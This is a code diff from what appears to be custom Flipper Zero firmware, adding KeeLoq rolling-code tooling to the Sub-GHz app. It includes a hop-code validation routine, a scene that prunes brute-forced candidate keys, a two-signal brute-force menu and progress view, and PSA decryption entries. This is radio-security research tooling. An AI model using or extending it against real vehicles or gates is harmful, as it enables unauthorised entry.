size_t bf_count;
size_t valid_indices[32];
size_t valid_count;
} KlCleanupCtx;
static bool kl_cleanup_validate_hop(uint64_t key, uint32_t hop, uint8_t btn, uint16_t disc) {
uint32_t dec = subghz_protocol_keeloq_common_decrypt(hop, key);
if((dec >> 28) != btn) return false;
uint16_t dec_disc = (dec >> 16) & 0x3FF;
if(dec_disc == disc) return true;
if((dec_disc & 0xFF) == (disc & 0xFF)) return true;
return false;
}
static bool kl_cleanup_validate_key(uint64_t key, uint32_t hop1, uint32_t hop2, uint8_t btn, uint16_t disc) {
if(!kl_cleanup_validate_hop(key, hop1, btn, disc)) return false;
if(hop2 == 0) return true;
if(!kl_cleanup_validate_hop(key, hop2, btn, disc)) return false;
uint32_t dec1 = subghz_protocol_keeloq_common_decrypt(hop1, key);
uint32_t dec2 = subghz_protocol_keeloq_common_decrypt(hop2, key);
uint16_t cnt1 = dec1 & 0xFFFF;
uint16_t cnt2 = dec2 & 0xFFFF;
int diff = (int)cnt2 - (int)cnt1;
return (diff >= 1 && diff <= 256);
}
void subghz_scene_kl_bf_cleanup_on_enter(void* context) {
SubGhz* subghz = context;
KlCleanupCtx* ctx = malloc(sizeof(KlCleanupCtx));
memset(ctx, 0, sizeof(KlCleanupCtx));
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
}
ctx->hop2 = 0;
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Hop2", &ctx->hop2, 1);
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKlBfCleanup, (uint32_t)(uintptr_t)ctx);
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char bf_name[24];
snprintf(bf_name, sizeof(bf_name), "BF_%07lX", ctx->serial);
size_t user_count = subghz_keeloq_keys_user_count(subghz->keeloq_keys_manager);
ctx->bf_count = 0;
ctx->valid_count = 0;
for(size_t i = 0; i < user_count && ctx->bf_count < 32; i++) {
SubGhzKey* k = subghz_keeloq_keys_get(subghz->keeloq_keys_manager, i);
if(!k || !k->name) continue;
const char* name = furi_string_get_cstr(k->name);
if(strcmp(name, bf_name) == 0) {
ctx->bf_indices[ctx->bf_count] = i;
if(kl_cleanup_validate_key(k->key, ctx->hop, ctx->hop2, ctx->btn, ctx->disc)) {
ctx->valid_indices[ctx->valid_count++] = i;
}
ctx->bf_count++;
}
}
FuriString* msg = furi_string_alloc();
if(ctx->bf_count == 0) {
furi_string_set_str(msg, "No BF candidate keys\nfound for this serial.");
} else if(ctx->bf_count == 1) {
furi_string_set_str(msg, "Only 1 BF key exists.\nNothing to clean up.");
} else if(ctx->valid_count == 1) {
size_t deleted = 0;
for(int i = (int)ctx->bf_count - 1; i >= 0; i--) {
if(ctx->bf_indices[i] != ctx->valid_indices[0]) {
subghz_keeloq_keys_delete(subghz->keeloq_keys_manager, ctx->bf_indices[i]);
deleted++;
}
}
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
furi_string_printf(msg,
"Cleaned %u keys.\nKept valid key:\n%s",
deleted, bf_name);
} else if(ctx->valid_count == 0) {
furi_string_printf(msg,
"%u BF keys found\nbut none validates\nhop. Kept all.",
ctx->bf_count);
} else {
furi_string_printf(msg,
"%u BF keys, %u valid.\nCannot auto-select.\nKept all.",
ctx->bf_count, ctx->valid_count);
}
widget_add_text_scroll_element(subghz->widget, 0, 0, 128, 64, furi_string_get_cstr(msg));
furi_string_free(msg);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
}
bool subghz_scene_kl_bf_cleanup_on_event(void* context, SceneManagerEvent event) {
UNUSED(context);
UNUSED(event);
return false;
}
void subghz_scene_kl_bf_cleanup_on_exit(void* context) {
SubGhz* subghz = context;
KlCleanupCtx* ctx = (KlCleanupCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKlBfCleanup);
if(ctx) {
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKlBfCleanup, 0);
}
widget_reset(subghz->widget);
}

View File

@@ -45,25 +45,24 @@ bool subghz_scene_need_saving_on_event(void* context, SceneManagerEvent event) {
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateBack);
scene_manager_previous_scene(subghz->scene_manager);
return true;
} else if(event.event == SubGhzCustomEventSceneExit) {
} else if(event.event == SubGhzCustomEventSceneExit) {
SubGhzRxKeyState state = subghz_rx_key_state_get(subghz);
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateIDLE);
if(state == SubGhzRxKeyStateExit) {
if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneReadRAW)) {
if(!furi_string_empty(subghz->file_path_tmp)) {
subghz_delete_file(subghz);
}
}
subghz_txrx_set_preset(
subghz->txrx, "AM650", subghz->last_settings->frequency, NULL, 0);
scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneStart);
if(!scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneStart)) {
scene_manager_previous_scene(subghz->scene_manager);
}
} else {
scene_manager_previous_scene(subghz->scene_manager);
}
return true;
}
}

View File

@@ -133,21 +133,21 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
}
//CC1101 Stop RX -> Start TX
subghz_txrx_hopper_pause(subghz->txrx);
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
if(!subghz_tx_start(
subghz,
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen))) {
subghz_txrx_rx_start(subghz->txrx);
subghz_txrx_hopper_unpause(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateRx;
} else {
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
subghz_block_generic_global.endless_tx = false;
return true;
}
return true;
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) {
//CC1101 Stop Tx -> next tick event Start RX
// user release OK

View File

@@ -2,10 +2,10 @@
enum SubmenuIndex {
SubmenuIndexEmulate,
SubmenuIndexPsaDecrypt,
SubmenuIndexEdit,
SubmenuIndexDelete,
SubmenuIndexSignalSettings,
SubmenuIndexPsaDecrypt,
SubmenuIndexCounterBf
};
@@ -17,7 +17,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
void subghz_scene_saved_menu_on_enter(void* context) {
SubGhz* subghz = context;
// Check protocol type for conditional menu items
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
bool is_psa_encrypted = false;
bool has_counter = false;
@@ -26,7 +25,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Protocol", proto)) {
if(furi_string_equal_str(proto, "PSA GROUP")) {
// Check if Type field is missing or zero (not yet decrypted)
FuriString* type_str = furi_string_alloc();
flipper_format_rewind(fff);
if(!flipper_format_read_string(fff, "Type", type_str) ||
@@ -39,7 +37,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
furi_string_free(proto);
}
// Check if protocol has a Cnt field (supports counter bruteforce)
if(fff) {
uint32_t cnt_tmp = 0;
flipper_format_rewind(fff);
@@ -48,12 +45,23 @@ void subghz_scene_saved_menu_on_enter(void* context) {
}
}
submenu_add_item(
subghz->submenu,
"Emulate",
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
if(!is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"Emulate",
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
if(is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"PSA Decrypt",
SubmenuIndexPsaDecrypt,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
submenu_add_item(
subghz->submenu,
@@ -76,15 +84,8 @@ void subghz_scene_saved_menu_on_enter(void* context) {
SubmenuIndexSignalSettings,
subghz_scene_saved_menu_submenu_callback,
subghz);
};
if(is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"PSA Decrypt",
SubmenuIndexPsaDecrypt,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
if(has_counter) {
submenu_add_item(
subghz->submenu,
@@ -110,6 +111,11 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
return true;
} else if(event.event == SubmenuIndexDelete) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexDelete);
@@ -125,11 +131,6 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSignalSettings);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSignalSettings);
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
return true;
} else if(event.event == SubmenuIndexCounterBf) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);

View File

@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
SubmenuIndexKeeloqKeys,
subghz_scene_start_submenu_callback,
subghz);
submenu_add_item(
subghz->submenu,
"KeeLoq BF (2 Signals)",
SubmenuIndexKeeloqBf2,
subghz_scene_start_submenu_callback,
subghz);
submenu_set_selected_item(
subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
return true;
} else if(event.event == SubmenuIndexKeeloqBf2) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
return true;
}
}
return false;

View File

@@ -10,4 +10,5 @@ enum SubmenuIndex {
SubmenuIndexProtocolList,
SubmenuIndexRadioSetting,
SubmenuIndexKeeloqKeys,
SubmenuIndexKeeloqBf2,
};

View File

@@ -94,6 +94,10 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) {
scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneStart);
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterPageChange) {
// Page changed via OK button, refresh display
subghz_scene_transmitter_update_data_show(subghz);
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterError) {
furi_string_set(subghz->error_str, "Protocol not\nfound!");
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub);

View File

@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
subghz->keeloq_keys_manager = NULL;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.sig1_path = furi_string_alloc();
subghz->keeloq_bf2.sig2_path = furi_string_alloc();
subghz->file_path = furi_string_alloc();
subghz->file_path_tmp = furi_string_alloc();
@@ -195,6 +200,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
SubGhzViewIdPsaDecrypt,
subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
view_dispatcher_add_view(
subghz->view_dispatcher,
SubGhzViewIdKeeloqDecrypt,
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
//init threshold rssi
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
@@ -306,6 +317,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
// KeeLoq Decrypt
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
// Read RAW
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
subghz_read_raw_free(subghz->subghz_read_raw);
@@ -353,7 +368,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
furi_string_free(subghz->file_path);
furi_string_free(subghz->file_path_tmp);
// KeeLoq key manager (may still be live if app exited from within the edit scene)
furi_string_free(subghz->keeloq_bf2.sig1_path);
furi_string_free(subghz->keeloq_bf2.sig2_path);
if(subghz->keeloq_keys_manager) {
subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
subghz->keeloq_keys_manager = NULL;
@@ -386,6 +403,7 @@ int32_t subghz_app(void* p) {
subghz->view_dispatcher, subghz->gui, ViewDispatcherTypeFullscreen);
furi_string_set(subghz->file_path, SUBGHZ_APP_FOLDER);
if(subghz_txrx_is_database_loaded(subghz->txrx)) {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReceiver);
} else {
scene_manager_set_scene_state(

View File

@@ -9,6 +9,7 @@
#include "views/subghz_frequency_analyzer.h"
#include "views/subghz_read_raw.h"
#include "views/subghz_psa_decrypt.h"
#include "views/subghz_keeloq_decrypt.h"
#include <gui/gui.h>
#include <assets_icons.h>
@@ -74,6 +75,7 @@ struct SubGhz {
SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
SubGhzReadRAW* subghz_read_raw;
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
bool raw_send_only;
bool save_datetime_set;
@@ -102,13 +104,25 @@ struct SubGhz {
// KeeLoq key management
SubGhzKeeloqKeysManager* keeloq_keys_manager;
struct {
uint8_t key_bytes[8]; // ByteInput result
char name[65]; // TextInput result
uint16_t type; // selected learning type 1..8
bool is_new; // true = add, false = edit
size_t edit_index; // valid when is_new == false
uint8_t edit_step; // 0 = key, 1 = name, 2 = type
uint8_t key_bytes[8];
char name[65];
uint16_t type;
bool is_new;
size_t edit_index;
uint8_t edit_step;
} keeloq_edit;
struct {
uint32_t fix;
uint32_t hop1;
uint32_t hop2;
uint32_t serial;
bool sig1_loaded;
bool sig2_loaded;
FuriString* sig1_path;
FuriString* sig2_path;
uint8_t learn_type;
} keeloq_bf2;
};
void subghz_blink_start(SubGhz* subghz);

View File

@@ -0,0 +1,246 @@
#include "subghz_keeloq_decrypt.h"
#include <gui/elements.h>
#include <furi.h>
#define KL_TOTAL_KEYS 0x100000000ULL
struct SubGhzViewKeeloqDecrypt {
View* view;
SubGhzViewKeeloqDecryptCallback callback;
void* context;
};
typedef struct {
uint8_t progress;
uint32_t keys_tested;
uint32_t keys_per_sec;
uint32_t elapsed_sec;
uint32_t eta_sec;
bool done;
bool success;
uint32_t candidates;
FuriString* result_str;
char status_line[40];
} SubGhzKeeloqDecryptModel;
static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
if(count >= 1000000) {
snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
} else if(count >= 1000) {
snprintf(buf, len, "%luK", count / 1000);
} else {
snprintf(buf, len, "%lu", count);
}
}
static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
canvas_clear(canvas);
if(!model->done) {
canvas_set_font(canvas, FontPrimary);
if(model->status_line[0]) {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
} else {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
}
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
}
canvas_set_font(canvas, FontSecondary);
char keys_str[32];
char tested_buf[12];
subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
canvas_draw_str(canvas, 2, 38, keys_str);
char speed_str[40];
char speed_buf[12];
subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
uint32_t eta_m = model->eta_sec / 60;
uint32_t eta_s = model->eta_sec % 60;
if(eta_m > 0) {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lum %lus", speed_buf, eta_m, eta_s);
} else {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lus", speed_buf, eta_s);
}
canvas_draw_str(canvas, 2, 48, speed_str);
if(model->candidates > 0) {
char cand_str[32];
snprintf(cand_str, sizeof(cand_str), "Candidates: %lu", model->candidates);
canvas_draw_str(canvas, 2, 58, cand_str);
} else {
char elapsed_str[24];
uint32_t el_m = model->elapsed_sec / 60;
uint32_t el_s = model->elapsed_sec % 60;
if(el_m > 0) {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
} else {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
}
canvas_draw_str(canvas, 2, 58, elapsed_str);
}
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
}
}
}
static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
if(event->key == InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}
return true;
}
return false;
}
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
instance->view = view_alloc();
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
view_set_context(instance->view, instance);
view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->result_str = furi_string_alloc();
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
model->candidates = 0;
},
false);
return instance;
}
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ furi_string_free(model->result_str); },
false);
view_free(instance->view);
free(instance);
}
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
return instance->view;
}
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context) {
furi_check(instance);
instance->callback = callback;
instance->context = context;
}
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = progress;
model->keys_tested = keys_tested;
model->keys_per_sec = keys_per_sec;
model->elapsed_sec = elapsed_sec;
model->eta_sec = eta_sec;
},
true);
}
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->done = true;
model->success = success;
furi_string_set_str(model->result_str, result);
},
true);
}
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
model->candidates = 0;
furi_string_reset(model->result_str);
model->status_line[0] = '\0';
},
false);
}
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
if(status) {
strlcpy(model->status_line, status, sizeof(model->status_line));
} else {
model->status_line[0] = '\0';
}
},
true);
}
void subghz_view_keeloq_decrypt_update_candidates(
SubGhzViewKeeloqDecrypt* instance, uint32_t count) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ model->candidates = count; },
true);
}

View File

@@ -0,0 +1,37 @@
#pragma once
#include <gui/view.h>
#include "../helpers/subghz_custom_event.h"
typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context);
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec);
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result);
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);
void subghz_view_keeloq_decrypt_update_candidates(
SubGhzViewKeeloqDecrypt* instance, uint32_t count);

View File

@@ -50,8 +50,10 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
// Progress bar outline + fill
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
if(fill > 2) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
} else if(fill > 0) {
canvas_draw_box(canvas, 5, 17, fill, 8);
}
canvas_set_font(canvas, FontSecondary);
@@ -90,19 +92,23 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
// Cancel hint - bottom right
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
// Result screen
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Decrypted!");
if(model->result_str) {
canvas_set_font(canvas, FontSecondary);
elements_multiline_text_aligned(canvas, 64, 20, AlignCenter, AlignTop,
furi_string_get_cstr(model->result_str));
}
elements_button_center(canvas, "Ok");
}
}
static bool subghz_view_psa_decrypt_input(InputEvent* event, void* context) {
SubGhzViewPsaDecrypt* instance = (SubGhzViewPsaDecrypt*)context;
if(event->key == InputKeyBack) {
if(event->key == InputKeyBack || event->key == InputKeyOk) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}

View File

@@ -155,23 +155,68 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) {
true);
if(can_be_sent) {
if(event->key == InputKeyOk && event->type == InputTypePress) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
with_view_model(
subghz_transmitter->view,
SubGhzViewTransmitterModel * model,
{
furi_string_reset(model->temp_button_id);
model->draw_temp_button = false;
},
true);
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
return true;
} else if(event->key == InputKeyOk && event->type == InputTypeRelease) {
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
return true;
// Long press d-pad: set custom btn + long flag (no send here, send happens below)
if(event->type == InputTypeLong) {
if(event->key == InputKeyUp) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_UP);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyDown) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_DOWN);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyLeft) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_LEFT);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyRight) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_RIGHT);
subghz_custom_btn_set_long(true);
}
}
// OK button handling
if(event->key == InputKeyOk) {
if(event->type == InputTypePress) {
if(subghz_custom_btn_has_pages()) {
// Multi-page protocol: cycle pages, do NOT send
uint8_t max_pages = subghz_custom_btn_get_max_pages();
uint8_t next_page = (subghz_custom_btn_get_page() + 1) % max_pages;
subghz_custom_btn_set_page(next_page);
// Reset d-pad selection to OK so display shows original btn
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
with_view_model(
subghz_transmitter->view,
SubGhzViewTransmitterModel * model,
{
furi_string_reset(model->temp_button_id);
furi_string_printf(model->temp_button_id, "P%u", next_page + 1);
model->draw_temp_button = true;
},
true);
// Refresh display with new page mapping
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterPageChange, subghz_transmitter->context);
return true;
}
// Normal protocol: send original button
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
with_view_model(
subghz_transmitter->view,
SubGhzViewTransmitterModel * model,
{
furi_string_reset(model->temp_button_id);
model->draw_temp_button = false;
},
true);
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
return true;
} else if(event->type == InputTypeRelease) {
// Only stop TX if we actually started it (not a page toggle)
if(!subghz_custom_btn_has_pages()) {
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
}
return true;
}
} // Finish "OK" key processing
if(subghz_custom_btn_is_allowed()) {

View File

@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
desktop->pin_input_view = desktop_view_pin_input_alloc();
desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
desktop->slideshow_view = desktop_view_slideshow_alloc();
//desktop->tos_view = desktop_view_tos_alloc();
desktop->main_view_stack = view_stack_alloc();
desktop->main_view = desktop_main_alloc();
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
desktop->view_dispatcher,
DesktopViewIdSlideshow,
desktop_view_slideshow_get_view(desktop->slideshow_view));
//view_dispatcher_add_view(
//desktop->view_dispatcher,
//DesktopViewIdTos,
//desktop_view_tos_get_view(desktop->tos_view));
// Lock icon
desktop->lock_icon_viewport = view_port_alloc();
@@ -511,7 +516,9 @@ int32_t desktop_srv(void* p) {
if(storage_file_exists(desktop->storage, SLIDESHOW_FS_PATH)) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
}
} //else {
//scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
//}
if(!furi_hal_version_do_i_belong_here()) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);

View File

@@ -11,6 +11,8 @@
#include "views/desktop_view_lock_menu.h"
#include "views/desktop_view_debug.h"
#include "views/desktop_view_slideshow.h"
//#include "views/desktop_view_tos.h"
#include <gui/gui.h>
#include <gui/view_stack.h>

View File

@@ -30,6 +30,7 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
switch(event.event) {
case DesktopSlideshowCompleted:
scene_manager_previous_scene(desktop->scene_manager);
//scene_manager_search_and_switch_to_another_scene(desktop->scene_manager, DesktopSceneTos);
consumed = true;
break;
case DesktopSlideshowPoweroff:

View File

@@ -3,7 +3,7 @@ App(
name="System",
apptype=FlipperAppType.SETTINGS,
entry_point="system_settings_app",
requires=["gui", "locale"],
stack_size=1 * 1024,
requires=["gui", "locale", "storage"],
